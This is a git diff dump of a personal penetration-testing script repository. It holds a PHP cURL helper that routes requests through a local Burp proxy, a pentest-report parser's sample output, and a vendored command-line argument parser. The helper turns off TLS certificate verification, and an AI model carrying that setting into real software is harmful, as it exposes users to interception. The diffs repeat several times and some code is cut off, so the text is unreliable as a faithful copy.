diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo 